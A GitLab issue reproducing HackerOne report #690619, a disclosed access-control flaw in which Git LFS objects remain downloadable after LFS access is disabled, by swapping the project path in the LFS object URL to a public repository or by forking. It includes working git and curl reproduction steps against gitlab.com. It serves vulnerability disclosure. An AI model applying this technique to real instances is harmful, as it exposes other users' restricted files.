Skip to content

Access to Git LFS objects (Improper Access Control)

HackerOne report #690619 by u3mur4 on 2019-09-08, assigned to akelly:

Improper Access Control

Summary

An attacker can access the LFS (Git Large File Storage) objects when the Manages large files such as audio, video, and graphics files visibility is disabled.

Steps to reproduce

VICTIM:

You can skip this part and use my sample project on gitlab: https://gitlab.com/u3mur4/lfs

See Examples.

  • Sign in to a GitLab instance
  • Create a New Project (check the Initialize repository with a README checkbox too)
  • Clone the newly created repository, add an lfs object and push it.
URL = "http://yoyo.pw:3000/victim/lfs.git"  
git clone $URL lfs  
cd lfs  
git lfs install  
echo "my secret text stored in lfs" >> secret.txt  
git lfs track secret.txt  
git add .gitattributes  
git add secret.txt  
git commit -m "add secret.txt lfs object"  
git push origin master
  • Go to Setting => General => Visibility, project features, permissions and disable access to LFS Objects.
    lfs-access.png

ATTACKER:

  • Go to victim project and check the secret.txt file. We see that we don't have premission view/download the file.
    lfs-view.png

  • Also cloning the repository results an Access forbidden error:

➜ poc git clone http://yoyo.pw:3000/victim/lfs.git  
Cloning into 'lfs'...  
remote: Enumerating objects: 7, done.  
remote: Counting objects: 100% (7/7), done.  
remote: Compressing objects: 100% (4/4), done.  
remote: Total 7 (delta 0), reused 0 (delta 0)  
Unpacking objects: 100% (7/7), done.  
Downloading secret.txt (29 B)  
Error downloading object: secret.txt (abf97b2): Smudge error: Error downloading secret.txt (abf97b2a054128b28e41b0f9969a50edeba7286d4cbfd1417781b422dab7b71a): batch response: Access forbidden. Check your access level.  
Errors logged to /tmp/poc/lfs/.git/lfs/logs/20190908T183018.634140894.log  
Use `git lfs logs last` to view the log.  
error: external filter 'git-lfs filter-process' failed  
fatal: secret.txt: smudge filter lfs failed  
warning: Clone succeeded, but checkout failed.  
You can inspect what was checked out with 'git status'  
and retry with 'git restore --source=HEAD :/'
  • Using the http://yoyo.pw:3000/victim/lfs.git/gitlab-lfs/objects/abf97b2a054128b28e41b0f9969a50edeba7286d4cbfd1417781b422dab7b71a endpoint also result an access forbidden error
➜ poc curl http://yoyo.pw:3000/victim/lfs.git/gitlab-lfs/objects/abf97b2a054128b28e41b0f9969a50edeba7286d4cbfd1417781b422dab7b71a  
{"message":"Access forbidden. Check your access level.","documentation_url":"http://yoyo.pw:3000/help"}%

BUG:

  • Change the namespace and/or project part of the url to a publicly accessible repository:
➜ poc curl http://yoyo.pw:3000/victim/test.git/gitlab-lfs/objects/abf97b2a054128b28e41b0f9969a50edeba7286d4cbfd1417781b422dab7b71a  
my secret text stored in lfs

The oid is leaked when we viewed the project http://yoyo.pw:3000/victim/lfs.git
lfs-view.png

  • There is also an another simple access to the LFS objects: fork the repo and we have access.

Video version:
lfs.mp4

Examples

Copy paste examples with gitlab.com

curl https://gitlab.com/u3mur4/lfs.git/gitlab-lfs/objects/abf97b2a054128b28e41b0f9969a50edeba7286d4cbfd1417781b422dab7b71a  
{"message":"Access forbidden. Check your access level.","documentation_url":"https://gitlab.com/help"}

Changed the namespace and/or project part to a publicly accessible repository (oid is the same)

curl https://gitlab.com/gitlab-org/gitlab-ce.git/gitlab-lfs/objects/abf97b2a054128b28e41b0f9969a50edeba7286d4cbfd1417781b422dab7b71a  
my secret text stored in lfs

You can also fork the https://gitlab.com/u3mur4/lfs.git/ project to access the lfs objects.

Gitlab export: 2019-09-08_19-18-787_victim_lfs_export.tar.gz

You have to turn off the Git LFS object visibility after importing the project

What is the current bug behavior?

  • changing the *namespace_id/:project_id/ to an accessible project by the attacker in the /*namespace_id/:project_id/gitlab-lfs/objects/*oid(.:format) endpoint returns the LFS objects
  • forking the project give access to the Git LFS objects even when the access is disabled

What is the expected correct behavior?

  • As agreed upon here, we will be updating the project settings so if you disable LFS, it pops up a modal warning that the objects may still be visible to forks, and to purge first if that's the desired behavior. We'll also need to update documentation to indicate this.

Output of checks

This bug happens on GitLab.com

Results of GitLab environment info

bundle exec rake gitlab:env:info RAILS_ENV=development  
System information  
System:		Ubuntu 16.04  
Current User:	u3mur4  
Using RVM:	no  
Ruby Version:	2.6.3p62  
Gem Version:	3.0.3  
Bundler Version:1.17.3  
Rake Version:	12.3.2  
Redis Version:	3.0.6  
Git Version:	2.23.0  
Sidekiq Version:5.2.7  
Go Version:	go1.12.7 linux/amd64

GitLab information  
Version:	12.3.0-pre  
Revision:	f4e40c532b5  
Directory:	/home/u3mur4/gitlab-development-kit/gitlab  
DB Adapter:	PostgreSQL  
DB Version:	11.5  
URL:		http://yoyo.pw:3000  
HTTP Clone URL:	http://yoyo.pw:3000/some-group/some-project.git  
SSH Clone URL:	ssh://u3mur4@localhost:2222/some-group/some-project.git  
Using LDAP:	no  
Using Omniauth:	yes  
Omniauth Providers:

GitLab Shell  
Version:	9.4.2  
Repository storage paths:  
- default: 	/home/u3mur4/gitlab-development-kit/repositories  
GitLab Shell path:		/home/u3mur4/gitlab-development-kit/gitlab-shell  
Git:		/usr/bin/git

Impact

An attacker can access the Git LFS objects even when the access is disabled

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

Edited by Michelle Gill